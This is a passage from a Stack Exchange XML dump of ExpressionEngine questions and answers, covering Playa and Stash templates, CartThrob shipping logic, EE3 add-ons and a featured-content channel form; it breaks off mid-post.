  <row Id="35433" PostTypeId="1" CreationDate="2016-02-01T18:33:11.910" Score="0" ViewCount="86" Body="&lt;p&gt;EE 2.10.1&#xA;Playa 4.5.2&#xA;Stash 2.6.7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm building out a particularly complex single entry page and can't seem to wrap my head around how to approach what needs to be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &lt;strong&gt;Trips&lt;/strong&gt; channel with two playa fields &lt;strong&gt;Related Outpost&lt;/strong&gt; and &lt;strong&gt;Related Activity&lt;/strong&gt;. On the individual trip page I need to list all trips that are in the same outpost (reverse relationship) and sort them by Activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Trip A takes place at the Green Outpost. I need to show all trips that also take place at the Green Outpost and then sort/filter like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Rafting (activity)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;trip a&lt;/li&gt;&#xA;&lt;li&gt;trip b&lt;/li&gt;&#xA;&lt;li&gt;trip c&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hiking (activity)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;trip d&lt;/li&gt;&#xA;&lt;li&gt;trip e&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know it's not possible to filter/search by a playa field natively, but would this be possible using Stash and if so, where would I start with this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have the following, stripped down template, where I suspect that each Activity (Rafting etc) would be an embed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;trips&quot;}&#xA;&#xA;        {trip_outpost}&amp;lt;h2 class=&quot;text-center trip-outpost&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;{/trip_outpost}&#xA;&#xA;    &amp;lt;h3&amp;gt;Rafting&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;div class=&quot;trip&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;Trip Title&amp;lt;/h4&amp;gt;&#xA;            Trip Details Here&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;trip&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;Trip Title&amp;lt;/h4&amp;gt;&#xA;            Trip Details Here&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;trip&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;Trip Title&amp;lt;/h4&amp;gt;&#xA;            Trip Details Here&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;h3&amp;gt;Hiking&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;div class=&quot;trip&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;Trip Title&amp;lt;/h4&amp;gt;&#xA;            Trip Details Here&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;trip&quot;&amp;gt;&#xA;            &amp;lt;h4&amp;gt;Trip Title&amp;lt;/h4&amp;gt;&#xA;            Trip Details Here&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2016-02-22T10:02:23.077" Title="Playa: Complex, nested and filtered" Tags="|playa|stash|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35435" PostTypeId="1" CreationDate="2016-02-02T11:00:01.523" Score="2" ViewCount="319" Body="&lt;p&gt;I've just started using Expression Engine 3, but it looks like my favourite &quot;Structure&quot; module isn't compatible with EE3. Does anyone know of a decent alternative that I can use? &lt;/p&gt;&#xA;" OwnerUserId="7050" LastActivityDate="2017-01-05T19:29:35.663" Title="Alternative for &quot;Structure&quot; in EE3" Tags="|structure|ee3|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35436" PostTypeId="2" ParentId="35435" CreationDate="2016-02-02T11:21:36.923" Score="4" Body="&lt;p&gt;Check out TJ Draper's  &lt;a href=&quot;https://devot-ee.com/add-ons/construct&quot; rel=&quot;nofollow&quot;&gt;Construct&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6825" LastActivityDate="2016-02-02T11:21:36.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35438" PostTypeId="2" ParentId="35433" CreationDate="2016-02-02T14:19:19.523" Score="1" Body="&lt;p&gt;You could use &lt;code&gt;{exp:playa:coparents}&lt;/code&gt; to list other parent entries (trips) that share the same child (outpost). Then within that loop, list the activity associated with each trip (I'm assuming you have the field set to only select one activity); we'll capture the related trips as a Stash list, and also create a second list of all the activities in the related trips. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we need to loop over the unique activities in the list and output trips that match each activity. We can do that with a nested Stash get_list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;trips&quot;}&#xA;&#xA;    {exp:stash:set_list name=&quot;trips&quot; parse=&quot;yes&quot; parse_depth=&quot;3&quot;}&#xA;        {exp:playa:coparents field=&quot;trip_outpost&quot; var_prefix=&quot;trip&quot;}&#xA;            {stash:title}{trip:title}{/stash:title}&#xA;            {stash:activity}@{exp:playa:children entry_id=&quot;{trip:entry_id}&quot; field=&quot;trip_activity&quot; var_prefix=&quot;activity&quot;}{exp:stash:append_list name=&quot;activities&quot;}{stash:activity}{activity:title}{/stash:activity}{/exp:stash:append_list}{activity:title}@{/exp:playa:children}{/stash:activity}&#xA;        {/exp:playa:coparents}&#xA;    {exp:stash:set_list}&#xA;&#xA;{/exp:channel:entries}  &#xA;&#xA;{exp:stash:get_list name=&quot;activities&quot; unique=&quot;activity&quot; process=&quot;end&quot;}&#xA;    &amp;lt;h3&amp;gt;{activity}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    {exp:stash:get_list:trips name=&quot;trips&quot; match=&quot;#\Q@{activity}@\E#&quot; against=&quot;activity&quot; prefix=&quot;trip&quot;}&#xA;        &amp;lt;li&amp;gt;{trip:title}&amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list:trips}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2016-02-22T10:02:23.077" LastActivityDate="2016-02-22T10:02:23.077" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35439" PostTypeId="1" CreationDate="2016-02-02T14:29:18.740" Score="0" ViewCount="55" Body="&lt;p&gt;I'm using CartThrob v2.3.2 on a site where the client would like to have free shipping on orders over £50 which is easily setup in the shipping options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when a customer uses a coupon code or discount it can bring the order total below £50 but the shipping remains free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I set it up so that the free shipping is only applied after any discounts have been subtracted from the order total?&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2016-05-20T04:50:58.873" Title="CartThrob v2.3.2 - How to set up free shipping on orders over £x after any discount has been subtracted?" Tags="|ee2|cartthrob|shipping|discounts|coupon-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35440" PostTypeId="2" ParentId="35428" CreationDate="2016-02-02T14:39:10.443" Score="0" Body="&lt;p&gt;Are you looking for an iterim order status between being marked as 'New' when the user comes back from the payment gateway after a successful payment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise in the Store settings there are 'Order Statuses' with the default being 'New' once an order has been processed/submitted, but theres no reason why you can't add a new default status of 'Processing' instead. Then you could have another status of 'Shipped' so you can assign that status when a particular order has been sent out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any existing orders you might not be able edit the default 'New' status as it's already assigned to those orders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2016-02-02T14:39:10.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35442" PostTypeId="2" ParentId="35439" CreationDate="2016-02-02T16:19:27.437" Score="0" Body="&lt;p&gt;The best way to do this would be with a custom shipping plugin. You can copy the existing one and update the logic to look for the post-discount total.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy &lt;code&gt;Cartthrob_discount_free_shipping_over_x.php&lt;/code&gt;and call it &lt;code&gt;Cartthrob_discount_free_shipping_over_x_after_discount.php&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Rename &lt;code&gt;Cartthrob_discount_free_shipping_over_x&lt;/code&gt; class to &lt;code&gt;Cartthrob_discount_free_shipping_over_x_after_discount&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;li&gt;Change &lt;code&gt;$title&lt;/code&gt; to &lt;code&gt;Free Shipping Over X After Discount&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then, change the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;core-&amp;gt;cart-&amp;gt;subtotal() &amp;gt;= $this-&amp;gt;core-&amp;gt;sanitize_number($this-&amp;gt;plugin_settings('order_over')))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (($this-&amp;gt;core-&amp;gt;cart-&amp;gt;subtotal() - $this-&amp;gt;core-&amp;gt;cart-&amp;gt;discount()) &amp;gt;= $this-&amp;gt;core-&amp;gt;sanitize_number($this-&amp;gt;plugin_settings('order_over')))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Feel free to &lt;a href=&quot;https://www.cartthrob.com/support/index.php?pg=request&quot; rel=&quot;nofollow&quot;&gt;let us know if you need help with that&lt;/a&gt;! &lt;/p&gt;&#xA;" OwnerUserId="376" LastEditorUserId="376" LastEditDate="2016-02-02T20:08:45.040" LastActivityDate="2016-02-02T20:08:45.040" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35443" PostTypeId="1" CreationDate="2016-02-02T17:03:43.247" Score="1" ViewCount="157" Body="&lt;p&gt;On EE2 we rename the system folder, and then update index.php and our renamed admin.php. We attempted to do so in EE3, following the instructions here (which is the same as EE2) &lt;a href=&quot;https://docs.expressionengine.com/latest/installation/best_practices.html&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/latest/installation/best_practices.html&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But once we do this we get an Server Error 500. There are no errors in the log for this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The instructions do state they may be other areas in the CP to change it, but we cant access the CP. There is no record of &quot;system&quot; in the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;index.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = './system3WmKw98f';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;admin.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = './system3WmKw98f';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Folder name&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public_html/system3WmKw98f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what the issue is? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set the folder to system, at least i get the following error &quot;Your system folder path does not appear to be set correctly. Please open the following file and correct this: index.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there is no .htaccess with my EE install, dont know if its relevant. &lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2016-02-02T17:09:23.357" LastActivityDate="2016-07-26T12:51:54.500" Title="Server Error 500 when renaming system folder in EE3" Tags="|ee3|system|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35444" PostTypeId="2" ParentId="31251" CreationDate="2016-02-03T02:27:44.483" Score="1" Body="&lt;p&gt;I had a similar issue recently when PHP was reconfigured. It turned out PHP's fileinfo extension wasn't enabled. Fixing that fixed the upload problem I was having. Might at least be something to check on in your case too.&lt;/p&gt;&#xA;" OwnerUserId="3132" LastActivityDate="2016-02-03T02:27:44.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35445" PostTypeId="2" ParentId="35424" CreationDate="2016-02-03T09:10:57.977" Score="1" Body="&lt;p&gt;My suggestion would be to use services such as AWS. You would utilise RDS managed MYSQL services, Amazon S3 (Cloud based file storage), EC2 instances, auto scaling groups and a load balancer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there are plugins available to utilise Amazon S3 for Expression Engine, although it has been a while in all honesty since I have even installed Expression Engine, so I wouldn't be able to help you on that front. I'm positive a simple google will find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would create a fully configured server in an EC2 instance and image it, this would allow you to effectively build the web server and deploy the application once, then clone it an unlimited amount of times in just minutes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally in order to keep costs low and make sure you have both an efficient and scalable environment you would design an autoscaling group. This would allow you to define triggers to enable the environment to scale from 1 server during low traffic to hundreds if your heart so desired. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very rough overview of the process and resources that i would use in your situation. In my corporate environment we have very resource intensive web application which has periodic spike throughout the day, dependent on media coverage etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any questions please don't hesitate to ask.&lt;/p&gt;&#xA;" OwnerUserId="7052" LastActivityDate="2016-02-03T09:10:57.977" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35448" PostTypeId="1" AcceptedAnswerId="35562" CreationDate="2016-02-03T11:42:38.707" Score="1" ViewCount="136" Body="&lt;p&gt;The default file name separator for Expression Engine is an underscore. And this cannot be changed. But the url title word separator is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For seo purposes, our client asked if it is possible to use dashes instead of underscores in (image) filenames. (&lt;a href=&quot;https://support.google.com/webmasters/answer/76329?hl=en&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I had a look into it. We're using assets and ce_image for this project. And I found a lot of php code replacing special characters and spaces with underscores. Seems like it is hardcoded in many of the add-ons. And that concerns me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm wondering if anyone has tried to do the same? For example. There's a clean_filename function in the Assets_lib.php. Is just rewriting that function enough to replace all underscores with dashes for new uploads. Or is it more complex than that?&lt;/p&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2016-02-15T09:29:56.233" Title="Word separator for file names" Tags="|assets|ce-image|files|seo|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35449" PostTypeId="2" ParentId="13476" CreationDate="2016-02-03T13:16:56.303" Score="0" Body="&lt;p&gt;Can you give me an update if this issue has been solved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get &quot;Unable to load the Chart Data via AJAX&quot; in EE CMS as well when trying to get tracking information older than 3 months. My client wants to see &quot;Most read articles this year&quot; but it tracks down to 3 months ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Harold Kuiper&lt;/p&gt;&#xA;" OwnerUserId="7007" LastActivityDate="2016-02-03T13:16:56.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35451" PostTypeId="1" CreationDate="2016-02-03T14:31:55.440" Score="0" ViewCount="59" Body="&lt;p&gt;I need to change the way the date displays on the front end, specifically in channel form date fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently it’s&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;18-2-16 2:11 PM &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I’d be OK with this if it just didn’t have the time displayed. It’s really unhelpful to have the time displayed here, and all of the users so far that have used the system we’ve built have been confused by this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The field is asking for a date, but the current time is appended, unnecessarily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to change the field to display more like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Wednesday, 3 February 2016 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or at least just remove the time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to clarify I am not trying to use the date format output tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_date format=&quot;&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as this OUTPUTS the date only&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to change the way the native date picker INSERTS the date to a channel form field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3592" LastActivityDate="2016-04-16T08:51:53.370" Title="How do I change the way dates are displayed in channel forms and remove the time" Tags="|date-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35452" PostTypeId="2" ParentId="35448" CreationDate="2016-02-03T15:02:43.493" Score="1" Body="&lt;p&gt;I'm gonna say it's way more complex. It's possible that it's simply matter of replacing all filename handlers and actions with ones to suite your needs (replace with dashes instead of underscores), but it might involve some deep core modification. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, anytime you install a new addon that has any file functionality, you'll need to scan it in case it handles filenames internally instead of using EE methods (that Assets hooks into).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Annnd anytime you upgrade EE, you'll have to have any core modifications you've made documented so you can reimplement them after upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless someone out there can report going through this process, I'm going to guess you'll have to do it yourself. I would recommend launching a new development server and repo branch of your application to start the process. It may end up much simpler than expected (like I said, hopefully someone can chime in and has done this already), but the biggest part will be &lt;strong&gt;very careful&lt;/strong&gt; testing and QA of these changes before pushing to staging or production. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by looking at the &lt;code&gt;File_field&lt;/code&gt;, &lt;code&gt;File_integrity&lt;/code&gt;, and &lt;code&gt;Filemanager&lt;/code&gt; library files in EE, as well as the &lt;code&gt;Upload&lt;/code&gt; library file in CI. Good luck.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2016-02-03T15:02:43.493" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35453" PostTypeId="1" AcceptedAnswerId="35459" CreationDate="2016-02-03T17:27:03.707" Score="0" ViewCount="73" Body="&lt;p&gt;I want to provide a way for content managers to easily select and unselect &quot;Featured Content&quot; (choosing from existing entries) on our EE site. This content would come from about four channels, all of which use the same field group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The field group contains a &quot;File&quot; field which is used to add an image to the entry. Not all entries have an image, but only entries with images are eligible for &quot;Featured Content.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, we'll also be able to set a minimum and maximum number of featured entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about setting up a &quot;Featured Content&quot; channel, and adding a single &quot;Featured Content&quot; entry to it, using a multi-select Relationships field to add or remove featured entries. However, this does not limit entries to only those containing images, rendering the system cumbersome (as managers would have to check entries individually for images before featuring them) and prone to error (in case they don't do so carefully enough.) I'm willing to look into this further if anyone knows how to work around this limitation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second thought I had was to somehow use a Channel Form to do the job. The idea would be to use a Channel Entries tag to pull in recent entries that contain images, display enough information about them for managers to decide what to feature, and add a checkbox beside each one to feature or un-feature it. While this obviously addresses the &quot;must contain image&quot; requirement, I'm not sure how to handle almost anything else about the system. How would they actually be set as &quot;Featured?&quot; How could we enforce the minimum and maximum featured entries? Can a Channel Entries tag even be nested within a Channel Form? Etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're also open to other possibilities not yet explored (including PHP in templates or even stepping outside of EE if necessary - although obviously not preferred.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on this at the moment and will answer this question myself if I find a solution. Otherwise, I'd very much appreciate any other answers the community can provide!&lt;/p&gt;&#xA;" OwnerUserId="3132" LastActivityDate="2016-02-03T20:11:10.677" Title="How to build a &quot;featured content&quot; system?" Tags="|ee2|channel-entries|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35454" PostTypeId="2" ParentId="35453" CreationDate="2016-02-03T17:51:59.157" Score="2" Body="&lt;p&gt;Have a field (checkbox or anything) called 'featured',&#xA;if you want an entry Featured check the box.&#xA;the feature template would then look for any entry that had that field checked AND had an image (though presumably you'd have added an image if you wanted it featured).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively create an entry specific for home page content, with a field group for home page areas (specifically the feature area in this case), and make a relationships field (or fields) then when ever you want to update the feature you go to one entry (the home one) instead of each of the entries that you want featured. down side of this is you can't filter for entries with images. to get around this have a generic image that is used if no image is found.&lt;/p&gt;&#xA;" OwnerUserId="3592" LastActivityDate="2016-02-03T17:51:59.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35455" PostTypeId="1" CreationDate="2016-02-03T17:56:58.957" Score="0" ViewCount="131" Body="&lt;p&gt;Is it possible to create different notifications for different products on CartThrob? I have products I'm selling in a products channel and services which are also offered that's within another channel. I would like the successful transaction of the products to shoot a different email notification than the service purchase, but I can't differentiate the two different orders because there's only &quot;successful transaction&quot; as the trigger. Any help on this would be greatly appreciated! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3092" LastActivityDate="2016-06-18T22:57:20.273" Title="Creating different email notifications on CartThrob for different products" Tags="|cartthrob|ee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35456" PostTypeId="2" ParentId="31446" CreationDate="2016-02-03T18:03:17.623" Score="1" Body="&lt;p&gt;There's also another possibility that I ran into with the &quot;This form has expired. Please refresh and try again.&quot; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Stash, I recently turned on caching on my pages that include forms. The issue here is that the the CSRF token from a previous user is cached in this scenario. This created the error on every page including a submitted form. It was a &quot;duh&quot; moment for me, but I thought it would be worth relating in case anyone else runs into this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to make sure you wrap your forms in stash:nocache - &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp:stash:cache%7D&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp:stash:cache%7D&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:cache bundle=&quot;my_cache_bundle&quot;}&#xA;&#xA;{!-- this will be cached --}&#xA;{exp:channel:entries channel=&quot;my_channel&quot;}&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- this will be escaped --}&#xA;{stash:nocache}&#xA;    My Form&#xA;{/stash:nocache}&#xA;&#xA;{/exp:stash:cache}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2016-02-03T18:03:17.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35457" PostTypeId="1" AcceptedAnswerId="35511" CreationDate="2016-02-03T18:17:55.923" Score="1" ViewCount="147" Body="&lt;p&gt;Does anyone know of any member management tools that are out for EE 3?  I was hoping zoo visitor (now owned by devdemon) would be ported to EE 3, but that addon seems to have gone dark.  And profile:edit which was also purchased by someone new has gone dark as well.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I preferred those addons to using the native member manager because of the flexibility in field types you could use.  But with the lack of support behind any one member manager I may look to using the native tools to avoid any future problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any thoughts or other means they manager their website members?&lt;/p&gt;&#xA;" OwnerUserId="1809" LastActivityDate="2016-08-28T09:58:14.733" Title="Member management for EE 3" Tags="|zoo-visitor|devdemon|member-management|ee3|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35458" PostTypeId="1" AcceptedAnswerId="35471" CreationDate="2016-02-03T19:17:32.023" Score="1" ViewCount="654" Body="&lt;p&gt;In EE2, I could click the (+) icon in the top menu to add a shortcut button to the current page. These could be managed in my &quot;Main Menu Manager&quot; in my profile. This was really handy, but I cannot find a similar feature in EE3. Does such a feature exist out of the box, or are there any add-ons available to do this?&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2016-08-23T14:27:44.477" Title="Control Panel shortcuts in ExpressionEngine 3" Tags="|control-panel|navigation|ee3|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35459" PostTypeId="2" ParentId="35453" CreationDate="2016-02-03T19:42:22.700" Score="1" Body="&lt;p&gt;Well, it took a bit of effort, but building from sheferd's comments, I was able to create a really nice little system. Here are the features:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Separate lists of entries available to feature, and currently-featured entries&lt;/li&gt;&#xA;&lt;li&gt;Uses Channel Entries tag to build the list of featureable entries, meaning any criteria that can be used in the tag can be applied to what can be featured.&lt;/li&gt;&#xA;&lt;li&gt;Includes a single button to feature or un-feature each entry.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It does NOT limit the number of featured entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page loads kind of slowly, but it works and is very easy to use. Just set up a checkbox field for &quot;Featured&quot; and give it a value of &quot;Yes.&quot;  Here's some skeleton code, which will obviously need to be modified to match whatever fields it's supposed to work with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Available to Feature:&amp;lt;/h2&amp;gt;&#xA;    {exp:channel:entries channel=&quot;foo|bar&quot; search:featured=&quot;not Yes&quot; search:image_field=&quot;not IS_EMPTY&quot; limit=&quot;10&quot; cache=&quot;yes&quot; refresh=&quot;1440&quot; orderby=&quot;date&quot; disable=&quot;categories|member_data&quot;}&#xA;        {snp-pagination}&#xA;        &amp;lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; border=&quot;0&quot;&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td valign=&quot;top&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;{url_title}&quot;&amp;gt;&amp;lt;img src=&quot;{image_field}&quot; width=&quot;120&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;div&amp;gt;&#xA;                        {exp:channel:form channel=&quot;{channel_short_name}&quot; entry_id=&quot;{entry_id}&quot; include_jquery=&quot;no&quot; return=&quot;same/page&quot;}&#xA;                            &amp;lt;input type=&quot;hidden&quot; name=&quot;featured&quot; value=&quot;Yes&quot; /&amp;gt; &#xA;                            &amp;lt;center&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Set Featured&quot;&amp;gt;&amp;lt;/center&amp;gt;&#xA;                        {/exp:channel:form}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td valign=&quot;top&quot;&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;&#xA;                        &amp;lt;a href=&quot;{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;span class=&quot;small&quot;&amp;gt;&#xA;                            By {author}&#xA;                        &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/h4&amp;gt;&#xA;                    {exp:ce_str:ing trim truncate='350|&amp;amp;hellip;' remove_tags_except='a'}{content}{/exp:ce_str:ing}&#xA;                    &amp;lt;br /&amp;gt;&amp;lt;div class=&quot;label label-default&quot;&amp;gt;{channel}&amp;lt;/div&amp;gt; &amp;lt;div class=&quot;label label-default&quot;&amp;gt;{entry_date format=&quot;%F %d, %Y&quot;}&amp;lt;/div&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Current Features:&amp;lt;/h2&amp;gt;&#xA;    {exp:channel:entries channel=&quot;foo|bar&quot; search:featured=&quot;=Yes&quot; limit=&quot;10&quot; cache=&quot;yes&quot; refresh=&quot;1440&quot; orderby=&quot;date&quot; disable=&quot;categories|member_data&quot;}&#xA;    &amp;lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; border=&quot;0&quot;&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td valign=&quot;top&quot;&amp;gt;&#xA;                &amp;lt;a 